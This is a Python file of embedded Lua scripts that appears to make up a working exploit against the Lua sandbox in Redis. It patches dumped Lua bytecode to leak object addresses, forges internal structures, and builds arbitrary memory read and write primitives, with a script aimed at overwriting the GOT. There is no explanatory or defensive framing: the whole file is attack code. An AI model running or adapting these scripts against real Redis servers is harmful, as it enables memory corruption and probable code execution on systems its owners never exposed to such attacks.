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lua_scripts.py
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lua_scripts.py
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# -*- coding:utf-8 -*-
readmem = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local reader = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC"]()
end
local function safe(v)
redis["mem_chunk_l"], redis["mem_chunk_h"] = redis["addrof"](v)
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function readmem(addr)
redis["mem_addr"] = addr
redis["mem_chunk_l"] = 0 redis["mem_chunk_h"] = 0
reader()
return redis["mem_chunk_l"], redis["mem_chunk_h"]
end
return {readmem(ARGV[1])}
'''
writemem = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
redis["LC1"] = function()
local proto = Proto(saddrof(TNumber(0)))
local adr = addrof(redis["memview"])
local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1)
local tv = TValue(saddrof(tb), TTABLE)
local upval = UpVal(TSTRING, saddrof(tv))
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local writer = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC1"]()
end
local function safe(v)
v[1] = redis["mem_addr"]
redis["memview"][1] = redis["chunk_write"]
v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function writemem(addr_l, addr_h, val_l, val_h)
redis["memview"] = {0}
redis["chunk_write"] = u2f(val_l, val_h)
redis["mem_addr"] = u2f(addr_l, addr_h)
writer()
end
writemem(ARGV[1], ARGV[2], ARGV[3], ARGV[4])
return 0
'''
fillgot = r'''
return tonumber("666", 8)
'''
writetuple = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
redis["LC1"] = function()
local proto = Proto(saddrof(TNumber(0)))
local adr = addrof(redis["memview"])
local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1)
local tv = TValue(saddrof(tb), TTABLE)
local upval = UpVal(TSTRING, saddrof(tv))
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local writer = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC1"]()
end
local function safe(v)
v[1] = redis["mem_addr"]
redis["memview"][1] = redis["chunk_write"]
v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function writemem(addr_l, addr_h, val_l, val_h)
redis["memview"] = {0}
redis["chunk_write"] = u2f(val_l, val_h)
redis["mem_addr"] = u2f(addr_l, addr_h)
writer()
end
collectgarbage("stop", 0)
'''